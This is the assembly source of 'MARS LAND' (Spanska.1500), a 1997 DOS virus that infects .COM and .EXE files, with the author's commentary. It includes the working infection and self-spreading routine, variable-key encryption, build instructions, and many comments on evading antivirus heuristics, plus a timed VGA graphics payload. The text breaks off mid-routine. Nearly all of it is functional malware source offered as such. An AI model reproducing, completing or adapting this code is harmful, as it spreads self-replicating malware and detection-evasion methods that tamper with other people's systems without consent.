; MARS LAND virus by Spanska ; Called Spanska.1500 by AV people ; This is my third virus ; ;********************************************************************* ; ; THIS VIRUS IS DEDICATED TO... uhhh... nobody this time :) ; ; Or maybe to all the virus coders who do not destruct with ; their creations. I've put the phrase "Coding a virus can ; be creative" to show that an original infection routine, ; a funny payload or a new mutation engine, are far more ; interesting for the coder and for other people than stupid ; destruction. ; I worked some weeks on this virus graphic effect. A simple ; routine to delete a hard drive would have taken me one ; minute to copy/paste it. So, no interest. ; ; Greets to Griyo (best virus coder on this side of the ; galaxy), MrSandman and other guys from 29A (the best group!), ; to Roadkill, Slacker, and friends on IRC (from Luxembourg, ; Spain, Sweden and everywhere), Poltergst and Cicatrix for ; their job on the web. And to the very few french virus ; coders, or even fighters (salut Jean-Luc!). ; ;******************************contact me at el_gato@rocketmail.com*** ; ; At the time it was released (march 97), the detection was: ; TBSCAN flags: c?K on .exe's, nothing on .com's ; FPROT: "ear variant" on unencrypted generation 0, nothing after ; DrSolly Findvirus: nothing ; DrWeb: nothing ; AVP: nothing ; (i saw in newsgroups that a scanner i can't remember flags it ; sometimes like a Whale variant, never happened to me) ; ; generation zero size: 1660 ; virus size: 1500 ; ; compile it with TASM /m2 and TLINK /t ; ; Properties: ; simple .com/.exe runtime infector ; file search routine is essentially derived from my NO PASARAN virus ; not destructive ; encrypted with variable key ; infects 3 .com and 3 .exe each run ; infects current directory, than upper directories ; when it reaches the root, it starts infecting all "level1" subdirectories ; does not infect files <500 bytes, nor command.com ; the VGA graphic bomb (a 3D voxel effect) explodes ; when minutes=30 and seconds<30 (1/120) code segment assume ds:code, ss:code, cs:code, es:code org 100h ; ;---------------fake host code-------------------- ; hote: call virus ;jump to viral code (avoid J flag) signature db "ee" ;virus signature nop ; nop ;fake host nop ; nop ; mov ah, 4ch ;finished mov al,0 ;go to int 21h ;DOS ;********************************************************************** ; START OF VIRAL CODE ;********************************************************************** virus: ;virus starts here ; ;-------------in case of an exe, let's work in cs-------------- ; push ds ;save ds on stack... Don't forget it... push cs ;we are in the virus segment push cs ;so we have to adjust pop es ;ds and es to point pop ds ;to this segment ; ;---------------get delta offset---------------------------- ; call $+3 ;modified classic delta: ;routine to mov bp, sp ;avoid flag E mov ax, [bp] ; add word ptr [bp], decrypte-delta ;thanks Slacker's Theory sub ax, offset delta ;of Code through Obscurity! mov bp, ax ret clef db 0 ;the crypting key ;=== this stosb === ;=== when outside decrypt loop === ;=== does not flag # === baise_flag_cryptage: ;=== stosb ;=========>>> NO MORE FLAG "#" !!!!! ret ;=== ;=================================== ; ;----------------------decrypting routine------------------------- ; decrypte: mov dl, [bp+offset clef] ;actual key in dl mov cx, fin_cryptage - debut_cryptage ;number of bytes to decrypt lea si, [bp+offset debut_cryptage] ;si=start of zone to decrypt mov di, si ;di=start of zone to decrypt xor_loop: ;decrypt loop lodsb ;get byte to decrypt in al nop ;just here to make a 1500 bytes virus ;) xor al, dl ;the byte is decrypted with the key call baise_flag_cryptage ;call the outside stosb (avoid flag #) loop xor_loop ;finish decryption debut_cryptage: ;start of the crypted zone ; ;------transfert of infected file information on another zone--------- ; (for final normal execution of the program) ; lea si, [bp+offset pip] ;from this zone lea di, [bp+offset vip] ;to this zone movsw movsw ;we transfer 8 bytes movsw movsw ; ;---------------initialisation to 0 of directory counter-------------- ; and 2 infection counters (com and exe) ; lea di, [bp+offset phase] ;they are here xor ax, ax ;put them to zero stosw ;(3 counters = 3 bytes) stosb ; ;--------------------remember current repertory------------------ ; lea si, [bp+offset repert] ;si on good memory zone xor dl, dl ;dl=0 is default unit mov ah, 47h ;47h=current dir in memory int 21h ;go! ; ;---------------DTA go to a predefined zone in memory------------- ; push 1a00h ;push/pop to pop ax ;avoid flag F lea dx, [bp+offset dta] int 21h ;********************************************************************** ; .COM INFECTION ;********************************************************************** ; ;-----------------find first .com file------------------------- ; recherche: mov cx, 0007h ;attributes lea dx, [bp+offset file_com] ;file mask for a .com mov ax, 4e00h ;4eh=find first file int 21h ;file found? jnc sauter_suivant ;yes => c=0, let's continue jmp infecte_exe ;no => go to .exe infection ; ;---------------------find next .com file------------------------- ; fichier_suivant: lea dx, [bp+offset file_com] ; mov ax, 4f00h ;4Fh=find next file mov cx, 0007h int 21h ;file found? jnc saut5 ;yes => c=0, let's continue jmp infecte_exe ;no => go to .exe infection saut5: ; ;---------------verify if extension is really .com--------------------- ; (it's made to avoid flag S with tbscan) ; sauter_suivant: call verifie_extension ;call verification routine cmp word ptr [si], "MO" ;second and third letters are "OM"? jne fichier_suivant ;no => find next .com file ; ;----------------verify if it's command.com---------------------------- ; cmp word ptr [bp+offset dta+1eh+2], "MM" ;test 3rd and 4th letter je fichier_suivant ;yes => find next file ; ;--------------attributes to 0 to infect special files------------- ; call attrib_a_zero ; ;--------------------open file, and verify header----------------------- ; call ouvre_et_verif_header jmp fichier_suivant ;if header not good (already infected) ;we get here and search another file ;if header good we get here on routine return ; ;--------transfer 5 first bytes of the .com to another zone---------- ; lea si, [bp+offset exehead] lea di, [bp+offset cinq_octets] movsw movsw movsb ; ;-----------before infection, change of the crypting key----------- ; call change_clef ; ;------------disk file pointer at the end----------- ; mov ax, 4202h xor cx, cx mov dx, cx int 21h ; ;-----------------------infection----------------------------------- ; call infecte ; ;--overwrite 5 first bytes on the disk by jump to virus code + signature--- ; ;1) move disk file pointer to start of the file ; call pointeur_debut ; ;2) calculate initial jump and write all on a temp zone in memory ; lea di, [bp+offset cinq_octets] mov al, 0E8h ;E8=opcode of CALL stosb mov ax, word ptr [bp+offset dta+1ah] ;ax=file size sub ax, 3 ;this is because of the CALL stosw mov ax, "ee" ;signature stosw ; ;3) overwrite 5 first bytes on the file ; mov cx,5 lea dx, [bp+offset cinq_octets] call ecrit_fichier ; ;----------------restore time/date of the file-------------------- ; call restaure_time ; ;------------close file and restore file attributes-------------------- ; call remise_en_etat ; ;--------verify how many .com files we have infected------------------ ; mov byte ptr cl, [bp+offset compteur_com] ;infection counter in cl inc cl ;one more cmp cl, 3 ;have we infected 3 .com files? je infecte_exe ;yes => let's infect .exe now mov byte ptr [bp+offset compteur_com], cl ;no => write new value of counter ; ;-----------------let's infect a new .com file------------------ ; jmp fichier_suivant ;go infect next file ;********************************************************************** ; .EXE INFECTION ;********************************************************************** infecte_exe: ; ;------------------find first .exe file------------------------- ; recherche_exe: mov cx, 0007h ;attributes lea dx, [bp+offset file_exe] ;file mask for a .exe mov ax, 4e00h ;4eh=find first file int 21h ;file found? jnc sauter_exe_suivant ;yes => c=0, let's continue jmp rep_sup ;no => go to upper directory ; ;------------------find next file------------------------- ; exe_suivant: lea dx, [bp+offset file_exe] ;file mask for a .exe mov ax, 4f00h ;4Fh=find next file mov cx, 0007h ;attributes int 21h ;file found? jnc saut_exe ;yes => c=0, let's continue jmp rep_sup ;no => go to upper direcory saut_exe: ; ; ;---------------verify if extension is really .com--------------- ; (it's made to avoid flag S with tbscan) ; sauter_exe_suivant: call verifie_extension ;call verification routine cmp word ptr [si], "EX" ;second and third letters are "OM"? jne exe_suivant ;no => find next .exe file ; ;------------attributes to 0 to infect special files------------- ; call attrib_a_zero call ouvre_et_verif_header jmp exe_suivant ;if header not good (already infected or ;windows file) we get here and search ;another file ;if header good, we get here ; ;------------verify that it's really a .exe with MZ header---------------- ; lea si, [bp+offset exehead] lodsw add ah, al ;to avoid flag Z cmp ah, 167 ;(M+Z in ASCII is 167) jne exe_suivant ;if it's not MZ or ZM, find next .exe file ; ;-----------before infection, change the crypting key----------- ; call change_clef ; ;----------------save old .exe header values------------------------- ; lea di, [bp+offset pIP] mov ax, word ptr [bp+ exehead+14h] ;save IP stosw mov ax, word ptr [bp+ exehead+16h] ;save CS stosw mov ax, word ptr [bp+ exehead+0Eh] ;save SS stosw mov ax, word ptr [bp+ exehead+10h] ;save SP stosw ; ;---------disk file pointer at the end (return dx:ax = size)--------- ; mov bx, [bp+offset handle] mov ax, 4202h xor cx, cx xor dx, dx int 21h push ax ;save size on stack push dx ;useful for next calculations ; ;----------------calculate new cs:ip--------------------------------- ; push ax mov ax, word ptr [bp+exehead+08h] mov cl, 4 shl ax, cl mov cx, ax pop ax sub ax, cx sbb dx, 0 mov cl, 0Ch shl dx, cl mov cl, 4 push ax shr ax, cl add dx, ax shl ax, cl pop cx sub cx, ax mov word ptr [bp+ exehead+14h], cx ;new calculated values mov word ptr [bp+ exehead+16h], dx ;put in the header zone mov word ptr [bp+ exehead+0Eh], dx ;in memory mov word ptr [bp+ exehead+10h], 0FFFEh ; ;-----------------calculate new size--------------------------- ; pop dx pop ax push ax add ax, fin_cryptage-virus adc dx, 0 mov cl, 7 shl dx, cl mov cl, 9 shr ax, cl add ax, dx inc ax mov word ptr [bp+ exehead+04h], ax pop ax add ax, fin_cryptage-virus and ah, 1 mov word ptr [bp+ exehead+02h], ax ; ;-----------------write signature---------------------------------- ; mov word ptr [bp+exehead+12h], "ee" ; ;--------------------infection--------------------- ; call infecte ; ;----------write new header of the infected file on disk--------------------- ; mov ax, 4200h push ax ;this stupid push/pop pop ax ;to avoid DrWeb heuristic xor cx, cx xor dx, dx int 21h ;pointer at start of file on disk mov cx, 1Ch lea dx, [bp+exehead] call ecrit_fichier ;write on disk modified header ; ;----------restore time/date of the file-------------------- ; call restaure_time ; ;----------close file and restore file attributes---------------------- ; call remise_en_etat ; ;--------verify how many .exe files we have infected------------------ ; mov byte ptr cl, [bp+offset compteur_exe] ;counter in cl inc cl ;one more cmp cl, 3 ;we infect 3? je bombe_ou_pas ;yes => let's stop infections mov byte ptr [bp+offset compteur_exe], cl ;no => write counter ; ;--------let's infect a new .exe file------------------ ; jmp exe_suivant ;go infect next file ; ;--------------------does the bomb explode?--------------------- ; bombe_ou_pas: mov ah, 2Ch ;internal clock: ch=hour et cl=minute int 21h cmp cl, 30d ;minutes = 30? jne redonne_main ;no => return to host cmp dh, 30d ;yes => test seconds ja redonne_main ;if secondes > 30 we return to host jmp bombe ;if seconds <30 (1/120) the bomb explodes ;********************************************************************** ; RETURN TO HOST ;********************************************************************** redonne_main: ;------------------DTA in the normal zone----------------------------- ; (to avoid perturbing host program) ; push 1a00h ;push/pop pop ax ;to avoid flag F mov dx, 80h ;to 80h, the normal zone int 21h ; ;--------restore the directory in which we were when we started----------- ; lea dx, [bp+offset repert] mov ax, 3B00h ;3bh=change directory int 21h ; ;-----------active host is a .com or a .exe?------------------- ; cmp byte ptr cs:0, 0CDh ;a .com file have an Int20h je redonne_main_com ;(word CD 20) at offset 0 ; ;-------------return to an .exe--------------------------- ; redonne_main_exe: pop ds ;remember the very first push ds push ds pop es ;get es=ds mov ax, es add ax, 10h add word ptr cs:[bp+vCS], ax cli add ax, word ptr cs:[bp+vSS] ;adjust stack pointers mov ss, ax mov sp, word ptr cs:[bp+vSP] sti jmp retour_au_prog cinq_octets: pip db 90h,90h ;zone to keep file information pcs db 90h,90h ;EXE: keep ip, cs, ss, sp pss db 90h,90h ;COM: keep 5 first bytes psp db 90h,90h retour_au_prog: db 0EAh ;far jump opcode, for .exe contenu: vIP dw 0 ;zone to keep temporarly file info vCS dw 0 ;EXE: keep ip, cs, ss, sp vSS dw 0 ;COM: keep 5 first bytes vSP dw 0 ; ;-----------------------return to a .com--------------------------- ; redonne_main_com: pop ax ;clean stack (remember first push ds) ; ;---------replace 5 first bytes of the host in memory---------- ; lea si, [bp+offset contenu] ;memory zone where they are mov ax, 101h ;this is to dec ax ;avoid flag B in TBSCAN mov di, ax ;a .com start at offset 100h movsw movsw movsb ;move 5 bytes ; ;-----------------------return to host---------------------------- ; (remember the very first CALL: we have 103h on the stack) ; redonner_la_main: pop ax ;get 103h sub ax, 3 ;we want 100h push ax ;re-put it on stack (for the RET) xor ax, ax ;a starting program xor bx, bx ;likes to find all xor cx, cx ;registers equals xor dx, dx ;to zero ret ;return to normal program ;********************************************************************** ; CHANGE DIRECTORY ;********************************************************************** ; ;----------climb to upper directory-------------------------- ; rep_sup: lea dx, [bp+offset dot] ;let's go to ".." repertory mov ah, 3bh int 21h ;are we in the root? jc on_redescend ;yes => c=1, let's go down now jmp recherche ;no => find first file ; ;---if we are in root, let's go to all "first-level" subdirectories------- ; on_redescend: mov ah, 4eh ;find first file mov cx, 16 ;with directory attribute lea dx, [bp+offset dir_masque] ;called "*.*" int 21h ;one found? jnc contin ;yes => continue jmp bombe_ou_pas ;no => test time for the bomb contin: cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? je le_premier ;phase=0 => do not find next dir xor bh, bh mov bl, byte ptr [bp+offset phase] ;bx=phase rep_suivant: ;loop to avoid all subdir already infected mov cx, 16 ;directory attributes mov ah, 4fh ;find next dir int 21h ;one found? jnc contin2 ;yes => continue jmp bombe_ou_pas ;no => test time for the bomb contin2: cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? jne rep_suivant ;no => find next dec bx ;this routine is made to infect cmp bx, 0 ;directory "number phase" jne rep_suivant ;if bx<>0, the subdir is already infected le_premier: add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected lea dx, [bp+offset dta+1eh] ;so, let's change mov ah, 3bh ;directory to it int 21h jmp recherche ;and infect this new subdirectory ;********************************************************************** ; ROUTINE OFTEN USED (to save bytes) ;********************************************************************** ;-------------------verify extension------------------------- verifie_extension: mov cx, 13d ;max size of a file name (not really, but lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) compare: ;loop for detecting start of the extension lodsb ;letter in al cmp al, "." ;is it a point? jne compare ;no => test next letter inc si ;yes => si points on second extension letter ret ;------------------change crypting key--------------- change_clef: mov ah, 2Ch ;internal clock int 21h ;cx get quite randomic mov [bp+offset clef], cl ;let's keep it somewhere ret ;------------------------open file------------------------- ouvre_et_verif_header: mov ax, 3D02h ;3D02h=open file lea dx, [bp+offset dta+1eh] ;name of the file in DTA int 21h jnc saut2 ;one file found, c=0, continue jmp remise_en_etat ;not found => arrange file saut2: ;continue mov [bp+offset handle],ax ;keep handle in memory ; ;----------------read first 1Ch bytes of the file----------------- ; xchg ax, bx ;handle in ax mov cx, 1Ch ;number of bytes to read mov ax, 3F00h ;3F=read file lea dx, [bp+offset exehead] ;dx on stockage zone int 21h jnc saut3 ;no problem, c=0, continue jmp remise_en_etat ;problem => arrange file saut3: ; continue ; ;-----------is the file already infected?------------- ; cmp byte ptr [bp+offset exehead+18h], 40h ;is it a windows file? jz deja_infecte ;yes => don't touch cmp word ptr [bp+offset exehead+3], "ee" ;.com already infected? jz deja_infecte ;yes => don't touch cmp word ptr [bp+offset exehead+12h], "ee" ;.exe already infected? jnz saut4 ;no => continue deja_infecte: jmp remise_en_etat ;let's arrange the file saut4: ;continue ; ;--------------------is the size correct?------------------- ; cmp [bp+offset dta+1ah], 500 ;do not infect if file<500 bytes ja verif_ok ;it's OK ; ;--------arrange file and close it in case of non-infection----------- ; remise_en_etat: mov ah, 3Eh ;3Eh=close file int 21h ; ;-----------------restore file attributes----------------------- ; call restaure_attrib ;restore attributes ; ;------after arranging the file, let's go back to the CALL------- ; ret ; ;----------------------if it's good to infect,------------------- ; let's go back one instruction after the call ; verif_ok: pop ax ;get offset of the return on the stack add ax, 2 ;add 2 (size of a short JMP) push ax ;put it back on the stack ret ;return 2 bytes after the call ;-----------------------------infection-------------------------- ;first, let's write non-encrypted part infecte: mov cx, debut_cryptage - virus ;size of non-encrypted part lea dx, [bp+offset virus] ;dx on beginning of this part call ecrit_fichier ;write this on disk ;second, let's crypt next part in memory mov dl, [bp+offset clef] ;dl=new key lea si, [bp+offset debut_cryptage] ;si=start of crypted zone lea di, [bp+offset zone_de_travail] ;di=temp memory zone for crypting mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt crypte_et_transfere: ;the loop lodsb ;get original byte xor al, dl ;crypt it stosb ;put it on memory loop crypte_et_transfere ;again ;third, disk writing of the crypted zone mov cx, fin_cryptage - debut_cryptage ;number of bytes to write lea dx, [bp+offset zone_de_travail] ;dx=offset of the temp zone call ecrit_fichier ;write it on disk ret ;-------------------modify attributes------------------------- attrib_a_zero: xor cx, cx ;if we want to put attrib to zero jmp suite_attrib restaure_attrib: xor ch, ch ;if we want to restore attrib mov cl, byte ptr [bp+offset dta+15h] ;from the DTA value suite_attrib: lea dx, [bp+offset dta+1eh] ;file name push 4301h ;43h=change attribs pop ax ;avoid flag F from TBSCAN int 21h ret ;---------------------restore file time/date----------------------- restaure_time: mov dx, word ptr [bp+offset dta+18h] ;date from DTA to dx mov cx, word ptr [bp+offset dta+16h] ;time from DTA to cx push 5701h ;5701h=change time/date pop ax ;avoid flag F from TBSCAN int 21h ret ;------------------write file on disk---------------------- ecrit_fichier: push 4000h ;the famous 40Hex... push/pop to pop ax ;avoid DrSolomon and DrWeb heuristic int 21h ret ;--------------------move pointer on disk--------------------------- pointeur_debut: ;to put pointer at the beginning xor dx, dx pointeur_debut_sans_dx: ;i think i don't use this... never mind xor cx, cx mov ax, 4200h ;42h=move disk pointer push ax ;stupid push/pop to avoid pop ax ;DrWeb heuristic int 21h ret ;********************************************************************** ; CODE OF THE GRAPHIC BOMB: A 3D VOXEL EFFECT ;********************************************************************** bombe: largeur equ 128 ;size of the grid ;-------------------------VGA------------------------------- mov ax, 13h int 10h ;----------------------black palette-------------------------------- ; because mountains are calculated directly on screen) mov dx, 3c8h ;dx = palette port xor al, al ;start with color 0 out dx, al ;write first color in the port inc dx ;define all others colors mov cx, 768 ;256 colors x 3 composantes, all at zero tout_noir: out dx, al ;write black on port loop tout_noir ;---------draw to an area of the screen some big blocks---------- ; area used: 50 lines x 128 columns on the left top mov ax, 0A000h ;video memory mov es, ax ;in es mov cx, 150 ;number of blocks boucle: mov ax, [bp+offset aleat] mov dx, 8405h ;semi-random routine stolen mul dx ;in a fire demo inc ax ;give a random dx mov [bp+offset aleat], ax push dx ;dl = random byte for the line shr dl, 1 ;now 041 ja pas_pixel ;we don't draw it cmp dl, 5 ;if dl<5 jb pas_pixel ;we don't draw it mov ax, 320 ;calculation of video offset xor dh, dh ;we have to multiply just dl mul dx ;by 320 pop dx ;dh = random byte for the column cmp dh, 112 ;if dh>112 ja pas_pixel ;we don't draw it cmp dh, 8 ;if dh<8 jb pas_pixel ;we don't draw it xor dl, dl ;we have to multiply just dh xchg dl, dh ;we put it in dl add ax, dx ;let's add line*320 and column => random place xchg di, ax ;this random offset in di mov al, 255 ;big blocks are in color 255 push cx ;save loop counter mov bl, 4 ;blocks are 4 pixels tall gros_pixel: mov cx, 10 ;blocks are 10 pixels wide rep stosb ;write them on screen... add di, 310 dec bl jne gros_pixel pop cx pas_pixel: loop boucle ;-----soften blocks to get mountains, by a immobile fire effect---------- ;here es=video mov ax, cs ;get cs add ah, 16 ;add to it 256*16 bytes to get ds mov ds, ax ;ds now points on a free segment (i hope so :) push ds ;on the stack (cf [@@] later) mov bl, 25 ;bl = number of degradation cycles cycle: xor si, si ;ds:si=free segment xor di, di ;es:di=video xor ax, ax mov cx, 50*320 ;we degrade on 50 first lines of the screen degrade: mov al, es:[di-1] add al, es:[di+1] adc ah,0 add al, es:[di+320] ;sum all pixels colors around offset di adc ah,0 add al, es:[di-320] adc ah,0 shr ax, 1 shr ax, 1 ;divide this color by 4, so it's the average je pas_dec ;if color=0, color stays to 0 dec al ;on other case, we decrement color pas_dec: mov byte ptr ds:[si], al ;new color value in free segment inc si inc di loop degrade ;loop for all the 50x128 area xor si, si ;one degradation cycle finished: xor di, di ;we copy all the area mov cx, (50*320)/2 ;from the free segment rep movsw ;to video memory dec bl ;one cycle more jne cycle ;25 cycles? No => again ;we now have on the screen (but we can't see it ;because all is black) soft spots, this is the ;landscape in 2D ;--------------creation of the 3D table (x,y,z)------------------------ ; from the 2D landscape on screen; this table is ; 128x50x(1+1+2) = 25 Ko, this is why we need one free segment ;here es=video ds=free segment push es ;we want ds=video et es=free segment push ds pop es pop ds mov cx, largeur*50+2 ;there will be 128x50 coordinates (+2 for security) xor si, si ;start of video memory xor di, di ;start of free segment mov dl, 128 ;we need a line counter table: mov ah, dl ;the X (left/right): between 0 and 128 shl ah, 1 ;now between 0 and 256 mov al, 128 sub al, ah ;now between -128 and +128 stosb ;put it on free segment movsb ;the Y (top/bottom) is directly the pixel color dec dl ;see if we are at the end of the line jne pas_fin_de_ligne ;if dl<>0 we are not mov dl, 128 ;if dl=0 the line counter is re-put to 128 add si, 320-largeur ;and the video offset go to next line pas_fin_de_ligne: mov ax, cx ;the Z (near/far): between 0 and 50*128 shl ax, 1 ;now between 0 and 50*256 xor al, al ;we just need ah (between 0 and 50) xchg ah, al ;put it on al shl al, 1 ;now between 0 and 100 shl al, 1 ;now between 0 and 200 add ax, 0080h ;now between 128 and 328 (nearest Z will be 128) stosw ;put it on free segment loop table ;calculate all table ;------------------delete the 2D landscape------------------------ ;here ds=video es=free segment push ds pop es xor di, di ;from the beginning of screen mov cx, (320*50)/2 ;delete all the 50 lines xor ax, ax ;with words=0, faster than bytes rep stosw ;delete all ;---------put text cursor at good coordinates on screen----------------- mov dx, 030Ah ;dh, dl = line/column coordinates xor bh, bh ;on page 0 mov ah,02h ;int BIOS 02h=put cursor int 10h ;--------------write the 2 text messages------------------------- ;ici ds=es=video push cs pop ds lea si, [bp+offset message] ;si points on message mov cx, 21 ;message length affiche_message: lodsb ;get letter mov bl, 125 ;color=red mov ah, 0Eh ;int BIOS OEh=write one letter int 10h loop affiche_message add dx, 507 ;adjust coordinates for second message mov ah, 02h ;int BIOS 02h=put cursor int 10h lea si, [bp+offset messag2] ;si points on message mov cx, 32 ;message length affiche_messag2: lodsb ;get letter mov bl, 50 ;color=yellow mov ah, 0Eh ;int BIOS OEh=write one letter int 10h loop affiche_messag2 ;------------------adjust martian palette---------------------------- mov dx, 3c8h ;dx = palette port xor al, al ;start with color 0 out dx, al ;write first color in port inc dx ;define all other colors xor cx, cx ;starts with black rouges: mov al, cl out dx, al ;loop to define all 63 first colors xor ax, ax ;with a growing red out dx, al out dx, al inc cl cmp cl, 63 jne rouges xor cx, cx jaunes: mov al, 63 out dx, al mov al, cl ;loop to define 63 next colors out dx, al ;with a growing green xor al, al out dx, al inc cx cmp cx, 63 jne jaunes ;-------------------animation of the landscape------------------------ ;here ds=cs, es=video pop ds ;ds points to free segment [@@] see above anime: ;get here when one screen is totally drawn mov cx, largeur*50 ;we will draw 50x128 voxels xor si, si ;ds:si=where 3D coordinates are (free seg) xor di, di ;es:di=video dessine: ;get here when one voxel is drawn lodsb ;put X in al xchg dl, al ;transfer it in dl lodsb ;put Y in al xchg bl, al ;transfer it in bl mov byte ptr bh, ds:[si+3+4] ;put NEXT_Y (for the shadow effect) in bh lodsw ;put Z in ax mov word ptr cs:[bp+offset z], ax ;not enough registers: put Z in memory cmp ax, 0080h ;is the voxel at the nearest limit? ja ca_sort_pas ;no => it can advance more add ax, 200 ;yes => return at the farest limit ca_sort_pas: dec ax ;it advances: the Z decrements mov word ptr ds:[si-2], ax ;and we write this new Z as new coordinate ;------calculate xx and yy (2D screen) from x, y and z (3D space)------ ; by a perspective effect ; (remember: X is in dl, Y in bl, Z in its memory location) push cx ;we will need cx here, so save it on stack xchg ah, dl ;X coordinate from dl to ah cmp ah, 128 ;X positive? jb suite5 ;yes => no problem neg ah ;no => let's "positive" it mov byte ptr cs:[bp+offset signe],1 ;and let's remember it was negative suite5: ;NB: calculations are in "fixed point" mode xor al, al ;X is in ah: same "order" than Z (word) xor dx, dx ;dx will not fuck up the division div word ptr cs:[bp+offset z] ;X/Z push ax ;result is the 2D coordinate (XX), push it mov al, bl ;Y coordinate from bl to al mov cl, 4 ;divise Y/16 to have a mountain height shr al, cl ;between 0 and 16 mov ah, 80 ;beware: mountains are "top on bottom" sub ah, al ;level 0 = altitude 80, so soustraction ;('cause in VGA 0,0 = top left) xor al, al ;"fixed point" mode: Y is now in ah xor dx, dx ;dx will not fuck up the division div word ptr cs:[bp+offset z] ;Y/Z xchg cx, ax ;the result is the 2D coordinate (YY) ;---------------calculate video offset of the voxel------------------- ; (remember: XX is on stack and YY is in CX) pop dx ;get XX cmp cx, 142 ;do not write voxel if too at bottom ja pas_plot cmp dx, 155 ;do not write voxel if too on the side ja pas_plot push dx ;put again XX on stack mov ax, 320 ;we gonna calculate voxel video offset mul cx ;multiply YY by 320 pop dx ;get XX cmp byte ptr cs:[bp+offset signe], 1 ;are X and so XX negatives? jne pos sub ax, dx ;yes => offset is ax - XX mov byte ptr cs:[bp+offset signe], 0 ;and we can forget this sign now jmp suite4 pos: add ax, dx ;no => offset is ax + XX suite4: add ax, (320*60)+160 ;to put the animation at screen bottom ;--------calculate voxel color (with 2 shadow effects)------------------ ;first shadow effect, depends on curvature of mountain sides mov di, ax ;ax is video offset of the voxel xchg ax, bx ;remember: bx contains Y et NEXT_Y sub al, ah ;shadow will depend on NEXT_Y - Y; can add al, 100 ;be >0 (one side of the mountain) ;or <0 (other side), so add an ;average value ;if voxel is too far, put it black mov word ptr bx, cs:[bp+offset z] ;now bx=Z (remember 128 OK, write it xor al, al ;yes => write a black voxel instead pas_eteindre: ;second shadow effect: the farest, the darkest shr bx, 1 ;now 64